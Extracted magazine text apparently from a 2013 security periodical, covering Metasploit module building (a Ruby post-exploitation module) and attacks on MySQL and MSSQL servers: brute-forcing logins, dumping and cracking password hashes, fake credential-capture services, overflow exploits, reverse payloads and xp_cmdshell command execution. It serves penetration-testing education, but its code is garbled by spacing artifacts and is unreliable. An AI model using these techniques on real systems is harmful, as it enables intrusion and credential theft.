Listing 5. Pulling out the main scan module from the metasploit library
def i ni t i al i ze
super (
Name => TCP Por t Scanner ,
Ver si on => $Revi si on$ ,
Descr i pt i on => Enumer at e open TCP ser vi ces ,
Aut hor => [ dar kl or d ] ,
Li cense => MSF_LI CENSE
)
Listing 6. Modules details
r egi st er _opt i ons(

[

Opt St r i ng. new( PORTS , [ t r ue, Por t s t o scan ( e. g. 25, 80, 110- 900) , 1- 10000] ) ,

Opt I nt . new( TI MEOUT , [ t r ue, The socket connect t i meout i n mi l l i seconds, 1000] ) ,

Opt I nt . new( CONCURRENCY , [ t r ue, The number of concur r ent por t s t o check per host , 10] ) , sel f .
cl ass)

der egi st er _opt i ons( RPORT )
Listing 7. Storing of the boolean value in res
if r es
wr i t e_check = send_cmd( [ MKD , di r ] , t r ue)

if ( wr i t e_check and wr i t e_check =~ / ^2/ )
send_cmd( [ RMD , di r ] , t r ue)
pr i nt _st at us( #{t ar get _host }: #{r por t }
Anonymous
access_t ype = r w

else
pr i nt _st at us( #{t ar get _host }: #{r por t } Anonymous
access_t ype=r o
150
TOOLS
TBO 01/2013
testing. So if you are looking to contribute to the
metasploit community then you can work on post
modules.
Basics of Module Building
So far we have seen the utility of modules and the
power that they can add to the framework. In or-
der to master the framework it is very essential to
understand the working and building of modules.
This will help us in quickly extending the frame-
work according to our needs. In the next few reci-
pes we will see how we can use ruby scripting
to build our own modules and import them into
the framework. To start building our own module
we will need basic knowledge of ruby scripting.
In this discussion we will see how we can use
ruby to start building modules for the framework.
The process is very much similar to meterpret-
er scripting. The difference lies in using a set of
pre-defined scripting lines that will be required
in order to make the framework understand the
requirements and nature of module. Let us start
with some of the basics of module building. In or-
der to make our module readable for the frame-
work we will have to import msf libraries.
r equi r e msf / cor e
This is the frst and foremost line of every script.
This line tells that the module will include all the
dependencies and functionalities of the metasploit
framework.
Listing 8. The result of the operations failure
r epor t _aut h_i nf o(
: host => t ar get _host ,
: por t => r por t ,
: sname => f t p ,
: user => dat ast or e[ FTPUSER ] ,
: pass => dat ast or e[ FTPPASS ] ,
: t ype => passwor d_#{access_t ype},
: act i ve => t r ue

)

end
Listing 9. Importing the Framework libraries
r equi r e msf / cor e
r equi r e r ex
r equi r e msf / cor e/ post / wi ndows/ r egi st r y

class Met aspl oi t 3 < Msf : : Post
i ncl ude Msf : : Post : : Wi ndows: : Regi st r y

def i ni t i al i ze( i nf o={})
super ( updat e_i nf o( i nf o,

Name => Wi ndows Gat her I nst al l ed Appl i cat i on Enumer at i on ,
Descr i pt i on => %q{ Thi s modul e wi l l enumer at e al l i nst al l ed appl i cat i ons },
Li cense => MSF_LI CENSE,
Pl at f or m => [ wi ndows ] ,
Sessi onTypes => [ met er pr et er ]
) )
end
152
TOOLS
TBO 01/2013
cl ass Met aspl oi t 3 < Msf : : Auxi l i ar y
This line defnes the class which inherits the prop-
erties of the Auxiliary family. The Auxiliary module
can import several functionalities like scanning,
opening connections, using databse etc.
i ncl ude Msf : :
The include statement can be used to include a
particular functionality of the framework into our
own module. For example, if we are building a
scanner module then we can include as:
I ncl ude Msf : : Expl oi t : : Remot e: : TCP
This line will include the functionality of a remote
TCP scan in the module. This line will pull out the
main scan module libraries from the metasploit li-
brary (Listing 5).
The next few lines of script give us an introduc-
tion about the module like its name, version, au-
thor, description etc (Listing 6). The next few lines
of the script are used to initialize values for the
script. The options which are marked as true are
those which are essentially required for the mod-
ules whereas the options marked as false are op-
tional. These values can be passed/changed dur-
ing the execution of a module.
The best way to learn about modules is by mas-
tering ruby scripting and by analyzing existing
modules. Let us analyse a simple module here
in order to dive deeper into module building. We
will be analyzing ftp anonymous access module.
You can find the main script at the following lo-
cation: pent est / expl oi t s/ f r amewor k3/ modul es/
auxi l i ar y/ scanner / f t p/ anonymous. r b.
Let us start with the analysis of the main script
body to understand how it works.
def r un_host ( t ar get _host )
begi n
r es = connect _l ogi n( t r ue,
f al se)
Listing 10. Defning diferent columns
def app_l i st
t bl = Rex: : Ui : : Text : : Tabl e. new(
Header => I nst al l ed Appl i cat i ons,
I ndent => 1,
Col umns =>
[
Name,
] )
appkeys = [
HKLM\ \ SOFTWARE\ \ Mi cr osof t \ \ Wi ndows\ \ Cur r ent Ver si on\ \ Uni nst al l ,
HKCU\ \ SOFTWARE\ \ Mi cr osof t \ \ Wi ndows\ \ Cur r ent Ver si on\ \ Uni nst al l ,
HKLM\ \ SOFTWARE\ \ WOW6432NODE\ \ Mi cr osof t \ \ Wi ndows\ \ Cur r ent Ver si on\ \
Uni nst al l ,
HKCU\ \ SOFTWARE\ \ WOW6432NODE\ \ Mi cr osof t \ \ Wi ndows\ \ Cur r ent Ver si on\ \
Uni nst al l ,
]
apps = [ ]
appkeys. each do | keyx86|
f ound_keys = r egi st r y_enumkeys( keyx86)
if f ound_keys
f ound_keys. each do | ak|
apps << keyx86 +\ \ + ak
end
end
end
www.hakin9.org/en 153
banner . st r i p! i f banner
di r = Rex: : Text . r and_t ext _al pha( 8)
This function is used to begin the connection. The
res variable holds the Boolean value true or false.
The connect _ l ogi n function is a specifc function
used by the module to establish a connection with
the remote host. Depending upon the success or
failure of connection, the boolean value is stored
in res (Listing 7).
Once the connection has been setup, the mod-
ule tries to check if the anonymous user has read/
write privilege or not. The wr i t e_check variable
checks if a write operation is possible or not. Then
it is checked weather the operation succeeded or
not. Depending upon the status the privilege mes-
sage is printed on the screen. If the write operation
fails then the status is printed as ro or read-only
(Listing 8).
The next function is used to report authorization
info. It reflects important parameters like host, port,
user, pass etc. These are the values that appear
to us when we use the show opt i ons command so
these values are user dependent.
This was a quick demonstration of how a simple
module functions within the framework. You can
change the existing scripts accordingly to meet
your needs. This makes the platform extremely
portable to development. As I have said it, the best
way to learn more about module building is by ana-
lyzing the existing scripts.
Building your own Post Exploitation
module
Now we have covered up enough background
about building modules. Here we will see an ex-
ample of how we can build our own module and
add it into the framework. Building modules can be
very handy as it will give us the power of extending
the framework depending on our need.
Let us build a small post exploitation module
that will enumerate all the installed applications
on the target machine. Since it is a post exploita-
tion module, we will require a compromised target
Listing 11. The enumeration process
t = [ ]
while( not apps. empt y?)
1. upt o( 16) do
t << f r amewor k. t hr eads. spawn( Modul e( #{sel f . r ef name}) , f al se, apps. shi f t ) do | k|
begi n
di spnm= r egi st r y_get val dat a( #{k}, Di spl ayName)
di spver si on = r egi st r y_get val dat a( #{k}, Di spl ayVer si on)
t bl << [ di spnm, di spver si on] if di spnmand di spver si on
r escue
end
end
Listing 12. The functions of the script
r esul t s = t bl . t o_s
pr i nt _l i ne( \ n + r esul t s + \ n)
p = st or e_l oot ( host . appl i cat i ons, t ext / pl ai n, sessi on, r esul t s, appl i cat i ons.
t xt , I nst al l ed Appl i cat i ons)
pr i nt _st at us( Resul t s st or ed i n: #{p})
end
def r un
pr i nt _st at us( Enumer at i ng appl i cat i ons i nst al l ed on #{sysi nf o[ Comput er ] })
app_l i st
end
end
154
TOOLS
TBO 01/2013
in order to execute the module. To start with build-
ing the module we will first import the framework
libraries and include required dependencies (List-
ing 9).
The script starts with including the metasploit
core libraries. Then we build up the class that ex-
tends the properties of Msf : : Post modules.
Next we create the initialize function which is
used to initialize and define the module proper-
ties and description. This basic structure remains
the same in almost all modules. Now our next
step will be to create a table that can display
our extracted result. We have a special library
Rex: : Ui : : Text which can be used for this task.
We will have to define different columns (Listing
10).
The script body starts with building the table and
providing different column names. Then a sepa-
rate array of registry locations is created which will
be used to enumerate the application list. The ap-
plication information is maintained in a separate
array named as apps.
Then we start the enumeration process by run-
ning a loop that looks into different registry loca-
tions stored in appskey array (Listing 11).
The next lines of script populate the table with
different values in respective columns. The script
uses in-built function r egi st r y_get val dat a which
fetches the values and add them to the table (List-
ing 12).
The last few lines of the script is used for stor-
ing the information in a separate text file called
applications.txt. The file is populated by using the
st or e_l oot function which stores the complete ta-
ble in the text file.
Finally an output is displayed on the screen stat-
ing that the file has been created and results have
been stored in it.
The next step will be to store the complete pro-
gram in respective directory. You have to makes
sure that you choose the correct directory for stor-
ing your module. This will help the framework in
clearly understanding the utility of module and will
maintain a hierarchy.
To identify the location of module storage, there
are following points you should look at:
Type of module
Operation performed by the module
Affected software or operating system.
These are a few points to keep in mind before you
save any module in any folder. Let us consider our
module. This module is a post exploitation mod-
ule that is used to enumerate a windows operat-
ing system and gathers information about the sys-
tem. So our module should follow this convention
for storing.
So our destination folder should be modul es/
post / wi ndows/ gat her / .
You can save the module with your desired name
and with a .rb extension. Lets save it as enum_
appl i cat i ons. r b.
Making the Module work
Once we have saved the module in its preferred di-
rectory, the next step will be to execute it and see
if it is working fine.
msf > use post / wi ndows/ gat her / enum_appl i cat i ons
msf post ( enum_appl i cat i ons) > show opt i ons
Module options (post / wi ndows/ gat her / enum_
appl cat i ons)
Name Cur r ent Set t i ng Requi r ed Descr i pt i on
SESSI ON yes The sessi on. .
This was a small example of how you can build
and add your own module to the framework.
You defnitely need a sound knowledge of Ruby
scripting if you want to build good modules. You
can also contribute to the metasploit community
by releasing your module and let others beneft
from it.
ABHINAV SINGH
Abhinav Singh is a young informa-
tion security specialist from India. He
has a keen interest in the feld of Hack-
ing and Network security and has ad-
opted this feld as his full time employ-
ment. He is the author of Metasploit
penetration testing cookbook, a book
dealing with Metasploit and penetration testing. He is
also a contributor of SecurityXploded community. Abhi-
navs work has been quoted in several portals and tech-
nology magazines worldwide. He can be reached at:
Mail: abhinavbom@gmail.com.
Twitter: @abhinavbom
156
TOOLS
TBO 01/2013
How to use Sqlploit
Databases nowdays are everywhere, from the smallest desktop
applications to the largest web sites such as Facebook. Critical
business information are stored in database servers that are often
poorly secured.
S
omeone an to this information could have
control over a companys or an organiza-
tions infrastructure. He could even sell this
information to a companys competitors. Imagine
the damage that something like this could cause. In
this article, we will see how we can use Metasploit
to attack our database servers.
Metasploit is a very powerful tool. Actually, is
not just a tool, it is a collection of tools. It is a
whole framework. It has gained incredible popu-
larity in the last few years because of its success
in the fields of penetration testing and informa-
tion security. It includes various tools, from vari-
ous scanners to exploits. It can be used to dis-
cover software vulnerabilities and exploit them.
With database servers having so many security
weaknesses, Metasploit has numerous auxilia-
ry modules and exploits to assist you with your
database server penetration testing. Metasploit
is available for all popular operating systems
so what operating system you are already us-
ing might not be a problem. In this article we are
going to use Metasploits auxiliary modules and
exploits to complete various penetration testing
tasks against popular database servers, such as
Microsoft SQL Server and MySQL. I hope you en-
joy it!
Attacking a MySQL Database Server
MySQL is the worlds most used open source re-
lational database management system. Its source
code is available under the terms of the GNU Gen-
eral Public License and other proprietary license
agreements. MySQL is the first database choice
when it comes to open source applications cre-
ation. MySQL is a very secure database system,
but as with any software that is publicly accessible,
you cant take anything for granted.
Discover open MySQL ports
MySQL is running by default on port 3306. To dis-
cover MySQL you can do it either with nmap or
with Metasploits auxiliary modules.
The NMAP way
Nmap is a free and open source network discovery
and security auditing utility. It can discover open
ports, running services, operating system version
and much more. To discover open MySQL ports
we use it in this way:
nmap - sT - sV - Pn - p 3306 192. 168. 200. 133
Figure 1. Discovering MySQL servers The nmap way
www.hakin9.org/en 157
Parameters:
-sT: TCP connect scan
-sV: Determine Service version information
-Pn: Ignore Host discovery
-p 3306: Scan port 3306
Scanning the whole network:
nmap - sT - sV - Pn - open - p 3306 192. 168. 200. 0/ 24
Parameters:
--open: Show only open ports (Figure 2)
The Metasploit way
Metasploit offers auxiliary module mysql _ver si on.
This module enumerates the version of running
MySQL servers. To use it type:
use auxi l i ar y/ scanner / mysql / mysql _ver si on
To use this scanner you have to set its options. Type:
show opt i ons
Figure 2. Discovering MySQL servers The nmap way
Figure 3. mysql_version auxiliary module options
Figure 4. mysql_version options after setting them up
To see a list of available options (Figure 3).
Set the RHOSTS parameter:
set RHOSTS 192. 168. 200. 133
or
set RHOSTS 192. 168. 200. 0/ 24
Set the RPORT parameter to a different value if
you believe that the MySQL Server is listening on
a different port:
Set RPORT 3333
Increase THREADS value for a faster scanning
(Figure 4):
set THREADS 50
Now, all you have to type is:
r un
and hit enter (Figure 5).
As you can see from the screenshot we have a
MySQL version 5.0.51a running at 192.168.200.133!
Brute forcing MySQL
There is an auxiliary module in Metasploit
called mysql _l ogi n which will happily que-
ry a mysql server for specific usernames and
passwords. The options for this module are:
Figure 6.
Figure 5. mysql_version scanner in action
Figure 6. mysql_login module options
158
TOOLS
TBO 01/2013
To start your attack you have to set the RHOSTS
option and choose a username and a password.
SET RHOSTS 192. 168. 200. 133
SET USERNAME r oot
Leave the password blank. Your options, after ex-
ecuting the commands above, should seem like
Figure 6. mysql _ l ogi n will try to login with blank
password and with the username as the pass-
word. Maybe we are lucky before we start brute-
forcing database with passwords lists (Figure 7).
We were lucky! The administrator is completely
ignorant. But what if we weren't so lucky? We then
need a password list file. We can create one by
ourselves or download one from the Internet. Let's
create one!
Creating a password list
To create our password list we are going to use
crunch. If you are using BackTrack, crunch is al-
ready installed. Open Privilege Escalation > Pass-
word Attacks > Offline Attacks > crunch. Otherwise
download it from here http://sourceforge.net/proj-
ects/crunch-wordlist/.
Execute:
./crunch 6 8 abcde123456 -o passfle.lst
The above command will create passwords be-
tween 6 and 8 characters long, consisting of ascii
characters a,b,c,d,e and numbers 1,2,3,4,5,6 and
will save the list into fle passfle.lst (Figure 8).
Using password lists
Now that we have our password list stored in /
pent est / passwor ds/ cr unch/ passf i l e. l st , we can
use it in mysql _l ogi n module.
Set PASS_FILE /pentest/passwords/crunch/passfle.lst
Increase also the number of concurrent threads
for a faster brute-force attack.
SET THREADS 50
r un
mysql _ l ogi n (Figure 9) module offers 2 other op-
tions, USER _ FI LE and USERPASS _ FI LE. You can use
a username fle list to try various username values
by setting the USER _ FI LE option accordingly. With
USERPASS _ FI LE parameter you can use a fle which
contains both usernames and passwords in the
same fle separated by space and one pair per line.
Bypass MySQL Authentication
Module mysql _aut hbypass_hashdump exploits a
password bypass vulnerability in MySQL and
Figure 7. Starting brute-forcing database with passwords lists
Figure 8. Generating a password list with crunch
Figure 9. mysql brute-force attack using password list
Figure 10. Running mysql_authbypass_hashdump module
Figure 11. mysql server hashes and usernames
www.hakin9.org/en 159
can extract usernames and encrypted passwords
hashes from a MySQL server. To select it type:
use auxi l i ar y/ scanner / mysql / mysql _hashdump
Set RHOSTS and THREADS option:
set RHOSTS 192. 168. 200. 133
set THREADS 50
and run the module. We can also set parameter
username.
set username root
Unlucky! (Figure 10)
Dump MySQL Password Hashes
mysql _hashdump extracts the usernames and en-
crypted password hashes from a MySQL serv-
er. One can then use j t r _mysql _f ast module to
crack them. The module is located in auxi l i ar y/
scanner / mysql . To use it set RHOSTS option to
our targets IP address and increase THREADS
value. If you have managed to reveal root pass-
word then set also options USERNAME and
PASSWORD. Run the module to get your pre-
cious results! (Figure 11)
Cracking passwords with John The Ripper
Metasploit offers module j t r _mysql _f ast .This
module uses J ohn the Ripper to identify weak
passwords that have been acquired from the
mysql _hashdump module. J ohn the Ripper is a
free and Open Source software password crack-
er, available for many operating systems such as
Unix, Windows, DOS, BeOS, and OpenVMS. Its
primary purpose is to detect weak Unix passwords.
After having acquired mysql hashes with mysql _
hashdump module, load j t r _mysql _f ast module
and run it.
use auxi l i ar y/ anal yze/ j t r _mysql _f ast
r un
This module offers options such as setting a cus-
tom path for john the ripper. The option that in-
terests you the most is the Wordlist option, which
is a path to your desired password list (Figure
12).
Getting the schema
A database schema describes in a formal language
the structure of the database, the organization of
the data, how the tables, their fields and relation-
ships between them must be defined and more.
In general, database schema defines the way the
database should be constructed. Metasploit has
the module mysql _schemadump to get MySQL sche-
ma. mysql _schemadump is located under auxi l i ar y/
scanner / mysql . To use it you have to set RHOSTS,
USERNAME and PASSWORD options. If you are
scanning more than one hosts increase THREADS
value!
Lets go Phishing
Phishing is an attempt to steal sensitive infor-
mation by impersonating a well known organiza-
tion. In the same manner you can trick a user to
steal her MySQL credentials. One of the abilities
of Metasploit is this, mimic known services and
capture user credentials. Among the various cap-
ture modules there is a module called mysql. This
module provides a fake MySQL service that is de-
signed to capture MySQL server authentication
credentials. It captures challenge and response
pairs that can be supplied to Cain or J ohn the Rip-
per for cracking.
To select the capture module type:
use auxi l i ar y/ ser ver / capt ur e/ mysql
This module offers some interesting options.
You can set CAINPWFILE option to store cap-
tured hashes in Cain&Abel format or J OHNPW-
FILE to store hashes in J ohn The Ripper format.
Leave SRVHOST option as it is, 0.0.0.0, to listen
on the local host. You can also set the SRVVER-
SION option, which is the version of the mysql
server that will be reported to clients in the greet-
ing response. This option must agree with the true
Figure 12. jtr_mysql_fast module options
Figure 13. mysql capture module options
160
TOOLS
TBO 01/2013
mysql server version on the network if you dont
want to being detected. You can also confgure
the module to use SSL! (Figure 13)
Run the module and connect to the capture mysql
server from another computer on the network to
see how it is working. To connect to a mysql server
open a terminal and type:
mysql - h i p_addr ess - u r oot - p
Enter any password, for now, in mysqls prompt
and see what is happening in Metasploit! (Figure
14)
Metasploit has captured the hash and now this
hash is stored in cain and john format in files / t mp/
j ohn and / t mp/ cai n. These are the files that I have
chosen.
Cain Format
r oot NULL
94e243cab3181cvef 73852s3011651369196a928
112263447569708899agbbf cddnef f 2113434455 SHA1
John format
r oot : $mysql na$1112263447569708899agbb
f cddnef f 2113434455 *
94e243cab3181cvef 73852s3011651369196a928
MySQL Exploiting
MySQL database system is a very secure piece
of software. Metasploit doesnt offer many MySQL
exploits. Although some exploits exist.
YaSSL Exploits
YaSSL is a lightweight embedded SSL library.
Metasploit offers 2 exploits for this library. The
mysql _yassl _get name and the mysql _yassl _hel l o.
The mysql _yassl _get name exploits a stack buffer
overflow in the yaSSL 1.9.8 and earlier and mysql _
yassl _hel l o exploits a stack buffer overflow in the
yaSSL 1.7.5 and earlier. To use any exploit you
have to select it:
use expl oi t / l i nux/ mysql / mysql _yassl _get name
use expl oi t / l i nux/ mysql / mysql _yassl _hel l o
use expl oi t / wi ndows/ mysql / mysql _yassl _hel l o
As you can fgure, the last exploit is for windows
systems. After selecting your desired exploit,
you have to select the payload. Each exploit of-
fers a variety of payloads. You have to choose
the most suitable for your target. To see a list
of available payloads for the exploit type (Fig-
ure 15):
show payl oads
The most successful exploits usually are the
r ever se _ t cp payloads where the target machine
connects back to you. Each payload offers some
options. By typing
show opt i ons
you will see exploits and payloads options (Fig-
ure 16).
Other MySQL Exploits
We should mention here two more exploits that are
available for MySQL systems that run on Windows
servers. The mysql _payl oad and the scr ut i ni zer _
upl oad_exec. The first exploit, mysql _payl oad, cre-
ates and enables a custom UDF on the target. On
default Microsoft Windows installations of MySQL
5.5.9 and earlier, directory write permissions are
not enforced, and the MySQL service runs as Lo-
calSystem. This module will leave a payload ex-
ecutable on the target system and the UDF DLL,
and will define or redefine sys_eval ( ) and sys_
exec( ) functions. The scr ut i ni zer _upl oad_exec
module exploits an insecure config found in Scru-
tinizer NetFlow & sFlow Analyzer, a network traffic
monitoring and analysis tool. By default, the soft-
Figure 14. mysql capture module in action
Figure 15. Exploits and payloads options
Figure 16. mysql_yassl_hello exploit payloads
www.hakin9.org/en 161
ware installs a default password in MySQL, and
binds the service to 0.0.0.0. This allows any re-
mote user to login to MySQL, and then gain arbi-
trary remote code execution under the context of
SYSTEM.
We are in!
And now what? Metasploit offers two modules
that will assist you to enumerate a MySQL ser-
vice or execute sql queries. All you need is a val-
id user-password pair. mysql _enumallows for sim-
ple enumeration of MySQL Database Server and
mysql _sql allows for simple SQL statements to
be executed against a MySQL instance. To select
them, type:
use auxi l i ar y/ admi n/ mysql / mysql _enum
and execute the command
show opt i ons
to get a list of available options (Figure 17).
To use mysql _sql execute (Figure 18):
use auxi l i ar y/ admi n/ mysql / mysql _sql
and
show opt i ons
Attacking a Microsoft SQL Server
Microsoft SQL Server (MSSQL) is a relational da-
tabase management system (RDBMS) used to
store, retrieve and manage information. As with
many Microsofts products, SQL Server has many
security weaknesses. Lets start by identifying run-
ning SQL servers on the network.
Discover open MSSQL ports
MSSQL is running by default on port 1433. To dis-
cover SQL Server you can use either nmap or
Metasploits auxiliary module.
The NMAP way
To discover open MSSQL ports we execute the fol-
lowing command:
nmap - sT - sV - Pn - p 1433 192. 168. 200. 133
Usually administrators, when they need more than
one instances of SQL server they run the second
instance at port 1434.
nmap - sT - sV - Pn - p 1433, 1434 192. 168. 200. 133
Parameters:
-sT: TCP connect scan
-sV: Determine Service version information
-Pn: Ignore Host discovery
-p 1433,1434: Scan port 1433 and 1434
Scanning the whole network
nmap - sT - sV - Pn - open - p 1433, 1434 192. 168. 200. 0/ 24
Parameters:
Figure 17. mysql_enum module options
Figure 18. mysql_sql module options
Figure 19. mssql_ping module options
Figure 20. mssql_ping module in action
162
TOOLS
TBO 01/2013
--open: Show only open ports
The Metasploit way
Metasploit offers auxiliary module mssql _pi ng.
This module discovers running MSSQL services.
To use it, type:
use auxi l i ar y/ scanner / mssql / mssql _pi ng
Type:
show opt i ons
for a list of available options (Figure 19).
To discover all running MSSQL services on the
net, set RHOSTS value equal to 192.168.200.0/24,
assuming that your target network is in this range,
increase threads value for a faster scanning and
run the module (Figure 20).
Brute forcing MSSQL
Auxiliary module mssql _l ogi n is working in the
same manner as mysql _l ogi n does. It will query
the MSSQL instance for a specific username and
password pair. The options for this module are:
Figure 21.
The default administrator's username for SQL
server is sa. In the options of this module, you
can specify a specific password, or a password
list, a username list or a username-password list
where usernames and passwords are separated
by space and each pair is in a new line. Having set
your options simply run the module and wait for
your results! You can create your own password
list file, like we did in the first chapter where we
used mysql _l ogi n module.
Dump MSSQL Password Hashes
mssql _hashdump extracts the usernames and en-
crypted password hashes from a MSSQL server
and stores them for later cracking with j t r _mssql _
f ast . This module also saves information about
the server version and table names, which can be
used to seed the wordlist. The module is located
in auxiliary/scanner/mssql. To use it set RHOSTS
option to our targets ip address and increase
THREADS value to 50. If you have managed to
reveal root password then set also options USER-
NAME and PASSWORD. Run the module! (Figure
22).
Cracking mssql passwords with John The
Ripper
Metasploit offers module j t r _mssql _f ast . This
module works in the same manner as j t r _mysql _
f ast does. It uses J ohn the Ripper to identify
weak passwords that have been acquired from the
mssql _hashdump module. After having acquire ms-
sql encrypted hashes with mssql _hashdump mod-
ule, load j t r _mssql _f ast and run it.
use auxi l i ar y/ anal yze/ j t r _mssql _f ast
and
r un
You should set the Wordlist option which is the
path to your desired password list (Figure 23).
Getting Microsoft SQL Server schema
Metasploit offers the module mssql _schemadump
to retrieve MSSQL schema. mssql _schemadump
is located under auxi l i ar y/ scanner / mssql . This
module attempts to extract the schema from a
MSSQL Server Instance. It will disregard builtin
and example DBs such as master,model,msdb,
and tempdb. The module will create a note for
Figure 21. mssql_login options
Figure 22. mssql_hashdump module Figure 23. jtr_mssql_fast module options
www.hakin9.org/en 163
each DB found, and store a YAML formatted out-
put as loot for easy reading.To use it you have to
set RHOSTS, USERNAME and PASSWORD op-
tions. If you are scanning more than one hosts in-
crease the THREADS value to get results faster.
Phishing with MSSQL
Metasploit has also a mssql capture module, called
mssql . This module provides a fake MSSQL service
that is designed to capture MSSQL server authen-
tication credentials. The module supports both the
weak encoded database logins as well as Windows
login (NTLM). To select the capture module type:
use auxiliary/server/capture/mssql
You can set CAINPWFILE option to store cap-
tured hashes in Cain&Abel format or J OHNPW-
FILE to store hashes in J ohn The Ripper format.
Leave SRVHOST option as it is, 0.0.0.0, to listen
on the local host. You can confgure the module
to use SSL (Figure 24).
Run the module and connect to the capture ms-
sql server from another computer on the network
to see how it is working. To connect to a mssql
server open your Microsoft SQL Server manage-
ment studio and try to login to the running service
(Figure 25). Metasploit has captured the username
and the password the user entered to login to the
fake MSSQL service.
Exploiting the Microsoft world
Metasploit offers some MSSQL exploits. Lets take
a look.
SQL Server 2000
SQL server 2000 is a very old version of Micro-
soft SQL Server and is hard to find it on Produc-
tion environments nowdays. ms02_039_sl ammer
exploits a resolution service buffer overflow. This
overflow is triggered by sending a udp packet to
port 1434 which starts with 0x04 and is followed by
long string terminating with a colon and a number.
To select it for use simply type:
use expl oi t / wi ndows/ mssql / ms02_039_sl ammer
Another exploit module for SQL Server 2000 is
ms02 _ 056 _ hel l o. ms02 _ 056 _ hel l o is an exploit
which will send malformed data to TCP port 1433
to overfow a buffer and possibly execute code on
the server with SYSTEM level privileges. To se-
lect it, type:
use expl oi t / wi ndows/ mssql / ms02_056_hel l o
SQL Server 2000 SQL Server 2005
ms09_004_sp_r epl wr i t et ovar bi n and ms09_004_
sp_r epl wr i t et ovar bi n_sql i exploit a heap-based
buffer overflow that occur when calling the undoc-
umented sp_replwritetovarbin extended stored
procedure. This vulnerability affects all versions of
Microsoft SQL Server 2000 and 2005, Windows
Internal Database, and Microsoft Desktop Engine
without the updates supplied in MS09-004. Micro-
soft patched this vulnerability in SP3 for 2005. To
use these exploits you type:
use expl oi t / wi ndows/ mssql / ms09_004_sp_
r epl wr i t et ovar bi n
or
use expl oi t / wi ndows/ mssql / ms09_004_sp_
r epl wr i t et ovar bi n_sql i
As with any Metasploit module, you can type
show opt i ons
Figure 24. mssql capture module options
Figure 25. Login attempt captured by mssql capture module
Figure 26. ms09_004_sp_replwritetovarbin_sqli module
options
164
TOOLS
TBO 01/2013
to get a list of available options (Figure 26).
Type
show payl oads
to get a list of available of payloads for the select-
ed exploit.
SQL Server database systems
Metasploit offers the module, expl oi t / wi ndows/
mssql / mssql _payl oad, which executes an arbitrary
payload on a Microsoft SQL Server by using the
xp_cmdshell stored procedure. Three delivery
methods are supported. The original method uses
Windows debug.com. Since this method invokes
ntvdm, it is not available on x86_64 systems. A
second method takes advantage of the Command
Stager subsystem. This allows using various tech-
niques, such as using a TFTP server, to send the
executable. By default the Command Stager uses
wcsript.exe to generate the executable on the tar-
get. Finally, ReL1Ks latest method utilizes Power-
Shell to transmit and recreate the payload on the
target.
Another interesting exploit module that can be
applied in all SQL Server versions is the expl oi t /
wi ndows/ mssql / mssql _payl oad_sql i . This module
will execute an arbitrary payload on a Microsoft
SQL Server, using a SQL injection vulnerability.
Once a vulnerability is identified this module will
use xp_cmdshel l to upload and execute Metasploit
payloads. It is necessary to specify the exact point
where the SQL injection vulnerability happens. You
should use a reverse payload on port 80 or to any
other outbound port allowed on the firewall.
From inside
Metasploit offers various modules that will assist
you to enumerate a MSSQL service, execute sql
queries, retrieve useful data and many more. All
you need is a valid user-password pair. mssql _enum
will perform a series of configuration audits and se-
curity checks against a Microsoft SQL Server data-
base. mssql _sql and mssql _sql _f i l e will allow for
simple SQL statements to be executed against a
MSSQL/MSDE or multiple SQL queries contained
within a specified file. To select them, type:
use auxi l i ar y/ admi n/ mssql / mssql _enum
or
use auxi l i ar y/ admi n/ mssql / mssql _sql
or
use auxiliary/admin/mssql/mssql_sql_fle
and execute the following command to see the
options (Figure 27)
show opt i ons
Sample Data
There is an amazing module called mssql _
f i ndandsampl edat a. This module will search
through all of the non-default databases on the
SQL Server for columns that match the keywords
defined in the TSQL KEYWORDS option. If col-
umn names are found that match the defined key-
words and data is present in the associated tables,
the module will select a sample of the records from
each of the affected tables. You have to set the the
sample size by configuring the SAMPLE_SI ZE option.
Your results will be stored in CSV format. Type
use auxiliary/admin/mssql/mssql_fndandsampledata
and
show opt i ons
Figure 27. mssql_sql_fle module options
Figure 28. mssql_fndandsampledata module options Figure 29. mssql_idf module options
www.hakin9.org/en
Executing Windows Commands
If you have managed to find a valid username
password pair, the most desired thing that you
would like to do is to execute a command on the
compromised machine. Metasploit offers module
auxi l i ar y/ admi n/ mssql / mssql _exec which will ex-
ecute a Windows command on a MSSQL/MSDE
instance via the xp_cmdshell procedure. All you
need is the username and password!!
Data mining
If you need to search for specific information in
SQL Server databases there is a module that can
make your life easier. Its name, mssql _i df , and
you will find it under auxi l i ar y/ admi n/ mssql / . This
module will search the specified MSSQL server
for interesting columns and data. The module is
working against SQL Server 2005 and SQL Server
2008 (Figure 29).
Conclusion
Databases are the most important part of todays
computing systems. They usually contain all the
information needed to run a company or organi-
zation. Therefore it is necessary to be as safe as
possible. Metasploit framework is just one tool of
many out there, that offers the appropriate scripts
to compromise a database system. Databases are
software that must be accessed by applications
running on the Internet, thats why they must be
guarded by firewalls, use encryption and power-
full passwords and the whole system (database
and operating system) must be checked every day
for new updates and upgrades. The best choice
would be to allow access to your database only
from your intranet and/or vpn. Try not to expose
your database directly to the web. Close all your
database system ports now!
GEORGE KARPOUZAS
George Karpouzas is the co-found-
er and owner of WEBNETSOFT, a
Software development, Computers
security and IT services company
in Greece. He is working as a soft-
ware developer for the past seven
years. He is a penetration tester,
security researcher, information
security consultant and software developer at WEBNET-
SOFT. He holds a bachelors of science in computer sci-
ence from Athens University of Economics and Business.
You can fnd the answers to any security questions on his
blog http:// securityblog.gr.
166
TOOLS
TBO 01/2013
How to Explore
the IPv6 Attack Surface with Metasploit
IPv6 is often described as a parallel universe, co-existing alongside
existing IPv4 infrastructure in a bid to ease the transition process.
Often left unmanaged and unmonitored in networks, those IPv6
packets could provide a great opportunity for the savvy attacker.
Thanks to the Metasploit framework, exploring the IPv6 attack
surface has become a lot easier.
E
arlier this year, the creators of the Metasploit
Framework introduced support for IPv6.
Adding tools to allow attackers and defend-
ers to explore this brave new world, and the in-
creased attack surface it can offer.
In this article we will introduce Metasploits three
IPv6 enumeration modules, how to use them, and
what they are doing under the hood. Well al-
so cover the core IPv6 concepts that allow these
modules to function as they do. Finally, well take
a look a configuring an IPv6 tunnel from a compro-
mised host, to allow the use of a reverse connec-
tion IPv6 payload over the IPv6 Internet.
I find few commands as satisfying to execute
as msfupdate. To many this may sound like a
strange statement, but there are plenty of people
who will completely understand where Im coming
from.
Every time I enter msfupdate, I sit back in my
chair and watch as my copy of the Metasploit
Framework connects to the Metasploit servers and
downloads the latest modules. I run that command
at least daily, and every time I do, it always grabs
me something new to dissect and work into my
penetration-testing toolbox.
Im often surprised by the frequency and volume
